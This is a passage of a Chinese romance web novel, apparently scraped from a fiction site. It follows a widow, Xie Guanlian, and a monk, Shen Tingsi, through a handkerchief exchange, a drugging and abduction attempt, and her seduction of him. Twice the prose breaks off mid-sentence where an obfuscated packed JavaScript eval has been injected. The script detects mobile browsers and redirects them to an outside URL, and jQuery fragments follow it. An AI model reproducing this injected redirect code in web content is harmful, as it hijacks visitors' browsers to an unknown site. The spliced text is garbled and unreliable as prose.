沈听肆头微倾地凝着她昨日从上面摔下来,现在虽然还蹒跚,但掩饰得极好的莲步。 他敛下长睫如沾着清晨雾气的温情,玉面白如玉瓷,迟疑须臾,还是抬步踏上她走过青石板。 两人一前一后,仿若并不相熟。 她是普通香客,而他则落步在后,被路过的那些沙弥尊敬地躬身揖礼。 他就像是用金子堆砌出来的圣子,受着尊敬,气质淡然,腔调轻缓斯文的一一耐心回应这些沙弥。 谢观怜听见他的嗓音响在身后,心中泛起涟漪,无端脸颊发烫,忍不住疾步往前走了几步。 身后的沈听肆察觉她的步伐陡然加快,面庞露出些许讶然,好在转瞬即逝得快,没有叫揖礼问安的小沙弥发觉。 他不知她是要去何处,想到昨日之事,还是拾步跟在身后适当的距离。 谢观怜去的地方乃罗汉塔。 此时的塔中并无人,门也刚被打开。 她先一步进去,如同上次那般往阁楼上走。 进了阁楼,跪坐在蒲垫上等他。 门外响起青年沉稳的步伐,她甚至单靠耳,都能隐约判断出他的下一步动作。 搭在紫檀木门上,似玉雕琢而成的手指轻轻用力使指腹压出红痕。 沈听肆跨步进室内时,闻见一股极淡的梅香,像是藏在雪中被不经意渗出的香。 他微微敛目,拾向屋里。 “悟因。”谢观怜对他弯眼。 沈听肆抬手揖礼,遂坐在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15049607|161400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对面的蒲垫上,坐姿端方典雅。 素净的灰白僧袍仿若原来是藏青,被洗得泛雾蒙蒙的灰白,适配他这张脸,竟比摆放在案几上的小观音都还漂亮几分。 他柔缓的斯文语气中透着愧疚:“昨夜那人暂且没有找到。” 昨日他让小岳去查过,只查出她从观音殿出来与一男子有过交谈,除此之外再无再无其他人。 至于究竟真的有没有跟踪她的人,这种于他毫无利益之事,并不值得掏空心思的去找人。 所以今日她不来,他也同样会主动去寻她。 青年悲柔的面庞沐浴在晨光中,外面的皑皑白雪都成了衬托。 谢观怜目光不舍地从他那张脸上移开,道:“无事,他或许早已经跑了,只要他不再来就好。” 沈听肆低眉颔首,温声说:“应当是不会来了。” 他的语气透着斯文的怜悯,谢观怜没听出什么,原本就不是为了那人来的,自然也没有多加在意。 她从怀中拿出巴掌大小匣子,玉葱纤指搭在梨花木纹上,轻轻地推过去:“昨儿多谢法师相帮。” 沈听肆撩眸凝着那梨花纹匣子,薄唇微启,欲说话。 谢观怜见状忙将匣子打开,露出里面的叠得四方都整齐的帕子,道:“这是之前不小心弄脏的那张帕子,原是应该还予的,但当时忘记了,现在才发现,便洗干净后在今日还给法师。” 他目光投向那张帕子,并未说什么,似乎也没有要接过的意思。 谢观怜也不气馁,续说:“法师或许不用被沾过世俗的物件儿,帕子还给法师,您想如处置都行。” 她都如此说了,沈听肆自当不能拒绝,接过她递来的帕子,温和道谢。 谢观怜摇头:“应当是我谢法师才对,若是法师昨日相救,恐怕今日我不知被谁抛尸在那个角落。” 沈听肆眼尾轻荡浅笑,似隔着朦胧的雾:“檀越言重了。” 谢观怜摆手,掌心撑着案面起身,说:“既将东西还给了法师,那我就不打扰法师了。” 沈听肆搭在灰白僧袍上的手指轻颤,墨玉般的眸子一动不动,神色清淡地摇头:“无碍。” 见他神色漠然,谢观怜不打算再继续,对他福礼。 沈听肆维持着僧人的慈悲,随之起身。 谢观怜目光掠过帕子下,隐约露出的一抹唇脂,唇角微翘,害怕被他发现又克制地压下。 她转身迈着轻快的步伐,朝着外面离去。 屋内的窗格子微敞,墨灰色的天有种使人冷汗泠泠的湿冷,青年佛子双膝合并跪坐于蒲垫上,睨着面前梨花木的匣子。 看了许久,他抿唇拿起匣子中的那块帕子,却见掖在下面的锦帕被抽出之后,右下角绣着金粉色的梵语‘悟’。 拇指大小的‘悟’字精细,他甚至能想象到,她在夜里点灯时一针一线的仔细模样。 他眼底如墨灰,遂缓缓松开捏紧的帕子。 阖上木盖后,他并未像之前那般随意丢弃,而是带着巴掌大小的帕子出了罗汉寺。 他在里面已待了许久,现在外面陆陆续续有了不少僧人行走其间。 对师兄乍然从罗汉塔里出来,众僧并未多想,也没有留意到他手中拿着的匣子,皆眼含仰慕地揖礼。 沈听肆如往常那般一一回礼,姿态自然、谦虚,疏离有余清冷不足,一举一动、一颦一笑全把持在令人舒适范围。 路过的僧人对这位和善怀有大慈悲的师兄越发敬仰。 此时外面已过了僧人的早读,正各自散去。 沈听肆不想与这些人遇上,所以耐心地绕了远路,不紧不慢地握着梨花木匣走回了逐茔院。 进了禅院,他随手将那木匣子丢在茶案上,折身打了热水,拾着干净的衣袍将身上沾染晨露、女人留在他身上的脂粉香都洗去。 再度出来时,他应当如往常那般读经书,或提笔抄写经书、给晦涩难懂的经书翻译注释。 可他却只着雪白罗袜坐在蒲垫上,用抻灭檀香的小杆,挑起匣子中那块绣着梵语的帕子。 ‘悟’跃然于眼底。 其实沈听肆从不用被人碰过的东西,也同样不喜被人触碰,但凡是被旁人碰过的东西,他都会由心升起难言的恶心。 在他的眼中,谢观怜同寺中佛殿外摆放着,养莲花的水缸一样,每年秋时倒出的淤泥,像是泼的墨渗进粗制滥造的纸张上,蔓延出无数的黑渍。 他纵容她对自己露出情意,待她也如寻常人一样温柔,但并不代表他愿意与她同流合污,去沾染世上最肮脏的欲。 18.亵佛 . 玉瘦香浓,檀香淡淡。 这场下了好几日的大雪终于停了,只有远山还雾霭霭的,天净空如洗,往下坠着的寒意都带着梅花的清甜。 迦南寺西苑的梅花开得很好,寺中的僧人说每到这个时候,不少香客都前来观赏美景,所以里面修建了许多的阁楼与亭子。 之前谢观怜去过一次西苑,记得里面的雪的确开得很好。 月娘身上的病稍好了些,不想总是待在房中,听闻西苑的梅花开得好,便邀请谢观怜也一去赏景。 谢观怜这段时日也没出门,在禅院中也待得生了闷,欣然应允。 月娘提前向寺内的僧人租借了赏景的小阁楼,谢观怜上去时她正在调香。 月娘见她上来,招手道:“怜娘你快来坐。” 候在一边的小雪将蒲垫放置簟上,谢观怜捉裙跪坐,睇她手拿的捣杵沾着斑驳粉痕。 谢观怜也喜欢香,闻见香味儿有些独特,心生好奇地询问:“这是什么香?” 月娘对她笑道:“闲来无事,用几味药与梅花一起做的胭脂。” 谢观怜眨眼,讶然:“原来是胭脂,我还以为是香膏呢,没想到月娘还会做胭脂。” 月娘笑了笑。 此刻小雪在一旁用梅花煮的牛乳茶,也已经翻滚出清香。 红梅牛乳茶倒在白瓷杯中颜色如浮在白雪中的胭脂,颜色好,气味儿香。 谢观怜端起茶杯闻了闻,水汽氤氲出的浓浓雾气朦胧,淡淡的香气似染上眉梢,沁人心脾。 她撩起眼皮看对面的月娘,含笑道:“这种花茶我以前在雁门时常喝,尤其是冬季,一边赏雪景,一边与友人一起品,滋味很是娴静。” 月娘垂着眸不知在想些什么,没有回答她的话。 小雪开口说:“那娘子可要好生尝尝了,这就是我们娘子照着雁门那边的做法学的,也可以为我们娘子品尝下与雁门的是否相似。” 听这般说,谢观怜敛目尝了口。 确与雁门的花乳茶很像。 月娘见她饮下,问道:“如何?” 谢观怜眼中浮着笑,对月娘道:“如出一辙。” 月娘笑了笑,亲昵地拉着她的手道:“那我教怜娘做胭脂罢。” 谢观怜没做过胭脂,见她眼前这些准备得很是齐全,遂坐在她的身边,打算也跟着学。 一侧的小雪见她杯中的乳茶喝净了,提着瓷壶前来欲再给她斟一杯,孰料指尖不慎被烫了下急忙换手。 梅花乳茶洒在谢观怜的素色裙裾上。 谢观怜被烫了一下,掌心遽撑在案角,倒吸一口气。 “对不起怜娘子,奴婢不是有意的。”小雪慌乱地放下手中的瓷壶,卷着袖子跪在她的面前擦拭。 月娘在扶着谢观怜,眸含关切地问:“没事吧。” 谢观怜勉强缓和过了,摆手,“无事,只是湿了裙子。” 小雪跪坐起身,神色尚有惶恐之色。 月娘见她素裙被梅花乳茶浸出一团污渍,峨眉轻蹙道:“这梅花乳茶颜色艳丽,等会合着白乳干在裙上终究有些不雅观,不如你与我换换……” 谢观怜按住她欲脱衣的手,安慰道:“无碍,我带了披风,小心遮掩着回去换了也一样。” 月娘闻此也不再勉强,眼含歉意的让小雪送她出阁楼。 与小雪分开后,谢观怜披着素色披风,戴上毛绒兜帽避开着人走。 梅林中修葺着沉长的游廊,此刻人都在梅花院子里游玩,游廊上并没有人。 当谢观怜踅步入半圆拱门,刚一踏进去,忽然有人用一张沾有迷药的帕子,用力蒙住她的口鼻。 谢观怜大惊下想要挣扎,奈何吸入了迷药力道近于荒渺,很快便耷拉下眼皮晕了过去。 身后的男人见她已晕眩,低头打量她。 昏迷的女人生得仙姿玉色,身姿曼妙,是世间少有的绝色。 这种漂亮的女人守活寡实在可惜了。 男人眼里闪过狎昵的慾望,转头看了看周围,见没有人,遂警惕地扛着她往角落而去。 他只顾着周围,没有发觉扛在肩上的谢观怜已经睁开了眼。 刚才她察觉帕子上沾有迷药,便立即闭上了口鼻,晕倒也只是放松他的警惕之心。 好在随时带着沈听肆送的匕首。 她悄然趁他不备,拔出手腕的匕首,避开致命处,猛地扎向他的臀。 男人没料到会被忽然扎一刀,当即倒吸一口气,下意识将肩上扛着的人甩下来,伸手去捂后臀。 谢观怜跌落地后抬头看了一眼他,心中大惊,这人……是上次来她院子偷东西之人! “贱人。”男人见被她骗了,呲牙咧嘴着凶狠面貌来抓她。 谢观怜顾不得别的,握着染血匕首,提起宽大的裙摆便疯狂往长廊外跑去。 男人自然不能让她跑出去,便捂着臀忍着剧痛,步履蹒跚地追来。 谢观怜专挑的臀部扎,那处不会致人死亡,而且再想要追她,一动便会牵扯伤口导致行动不便。 那男人受了伤跑不动,见她又是朝着有人的地方跑去,眼中闪过不甘,跟了几步后臀上的血流不止,最后只得放弃没有再追上去。 两边梅花扑鼻。 沈听肆怀中抱着经书,刚从小佛堂出来,步伐稳健地走在石子路上。 当他行至拐角处,有人一头扎进胸膛,怀中的经书凌乱散落于地上。 他平静地垂下眸,先看见女子松软的云鬓,随后闻见淡淡的血腥。 谢观怜神色仓皇失措地抬头,蓦然撞进一双漆黑平静的眼中。 很深,像是幽潭里伸出一双腐肉烂骨的手,拽着她往里万劫不复的深渊坠。 “悟因……”她攥住他的衣襟,眼眶洇出水汽,身子后怕地颤栗。 沈听肆垂眸看着她手上的匕首,不知是谁的血,现在已经弄脏了灰白的衣襟。 他平淡地抽出手,欲将女人从怀中拉开。 谢观怜察觉他的意图,发颤的柔软娇躯贴得更紧了,“悟因救救我,有人追我……” 她越缠越紧,扬起的瘦骨脸上全是惧意。 沈听肆弃与陷入的慌乱中的女人纠缠,循声掀眸,随意睨了眼空无一人的前方,淡声安慰:“他没有追来,可放开了。” 听他说人没有追来,谢观怜下意识转头看向身后。 那扇半圆石门内果真无人追来。 或许是因为看见有人,所以那个男人不敢再追来。 谢观怜转过头,眼眶的泪猝不及防划过脸颊,恰好砸落在他的手背上。 温凉的泪珠子晕开湿润的痕渍,在那块肌肤留下难言的痒意。 他的手微不可查地颤了瞬,继而自然地垂下,掩在袖中:“无人追来,檀越可以放开了。” 谢观怜白着脸从他怀里退出,正欲对他道谢,谁知没了支撑后双膝蓦然一软,眼看便要跌落在地上,幸而被人一臂揽住了肩膀。 沈听肆揽住她发烫的身子,脸上露出一丝古怪。 他没想要抱她。 谢观怜软绵绵地靠在他的身上,脸颊发烫,呼吸凌乱,没有留意他破格抱住自己的行为。 “抱歉,我、我没有力气了。”她小喘着道。 那男人应是有备而来的,蒙她的那张帕子上不仅有迷药,似乎还有别的。 好在她闭息及时,所以吸入得不多,药效现在才开始在体内发散。 尤其现在她闻见了沈听肆身上那好闻的檀香,眼底沁出微烫的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15054462|161400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水色,喉咙泛渴。 檀香…… 那种渴望来得突然。 谢观怜压下眼底的渴望,无力地倚着他,红唇微启地牵着他的衣袖,软柔娇喘地乞求:“悟因,能不能扶我去没人的禅房,我缓一下。” 此刻她眸中仿佛落了一湖涟漪,望向他的眼神褪去纯情的外皮,向他露出触手可得的色.情。 若是寻常人早就已经禁不住引诱,对着那张涂着水莹的檀口一亲芳泽。 可青年并未回应,只撩起微湿的眼皮,看着她的目光犹如撕破她的皮囊,在仔细打量内里的血肉。 与他漆黑得毫无波澜的眼珠对上,谢观怜无端有种被毒蛇窥视的错觉。 她脸上的虚弱僵住,背脊冒出寒意。 其实药效不浓,感受不强烈,身体也仅有些许虚软无力,但她表现出来中药很深,需要帮助。 沈听肆静静地瞧着他,如同往日那般淡然,却似一眼瞧进她的心里,令人心中发慌。 谢观怜忍不住怀疑,他是不是看穿了她的伪装与想法? 虽然他性子再温顺良善,但也并非是没有脾性的木头傀儡。 谢观怜被他那双看穿一切的眼盯着,心中不免升起了退缩之意,启唇欲讲话。 沈听肆先她自然地敛下乌睫,扶稳她的肩膀,温和地说:“前面就有,我带你过去。” 听着他与平日无二的嗓音,谢观怜刚升起的退缩霎时退去,继续柔弱地点头,小声道谢:“多谢悟因法师。” 不远处便是专供人赏梅景之处,故而此处多的是小憩的禅房。 沈听肆将似现昏迷的谢观怜放在蒲垫上,她便软无骨地瘫在上面,抱着双臂蜷缩膝盖,以弱雏之姿轻轻地颤栗。 她不正常的反应令他多留意了几眼。 躺在蒲垫上的女子粉颊两边似布施嫣红的胭脂,鬓尖还沾着点雾珠儿,眉心微蹙,朱口被细牙咬得印出一条深色的线。 仿佛已经竭力在压抑了,可还是耐不住疯狂袭来,蚕食她骨肉的慾望。 檀香太浓了,浓得她意乱情迷,渐渐分不清自己究竟是在何处,唯一记得眼前的人是谁。 沈听肆目光掠过她鬓角的热雾,当她是因屋里闷,起身欲去将窗户撑开。 身后的人却以为他要离开,猛然起身从后面抱住他劲壮的腰,松软的云鬓倒在他的后背。 “别走,我好像被人下药了,法师…悟因,帮帮我,我只抱一抱,不会亵渎法师…” 女子凌乱的娇气小喘似含着潮意,脸贴在后腰那块,蹭着、拱着。 哪怕他不转头,也能想到她此刻的模样。 像黑湿巷子里发.情的猫儿。 他侧首平静地垂眸,见她颊边沾着雾雾的桃红,没有动,也没有开口。 谢观怜慢慢往上,靠在他隽秀的脖颈上,口气如兰,胡言乱语道:“多谢悟因,不是你来得及时,我说不定早就已经死在不知名的地方,幸好遇见了你……” 佛家讲究救人一命胜造七级浮屠,所以他的平静在她看来是默认。 想到他那张脸,谢观怜闻着他身上是浓郁檀香,连四肢百骸都蔓着难忍的酥麻,浑身升起难言的热意,好似肝火快要被焚烧了。 最初她还能如所言那般老实地抱着,可一想到只要往下两寸就能碰上,手也渐渐不老实。 而只要打破这一点距离,她就会引诱他动情,但凡是男人动了情,被慾望吞噬这件事,无论是佛子,还是圣子,都无人能幸免,皆会忘记所谓的清规戒律。 对情爱之事再淡漠又如何,也还是会沉溺在其中,与她一起享男女交合的快意。 “好热……”她轻喘,眼眶渗出的热泪更多了,捏着那点儿灰白如洗的僧袍料子,细长的指尖往下滑。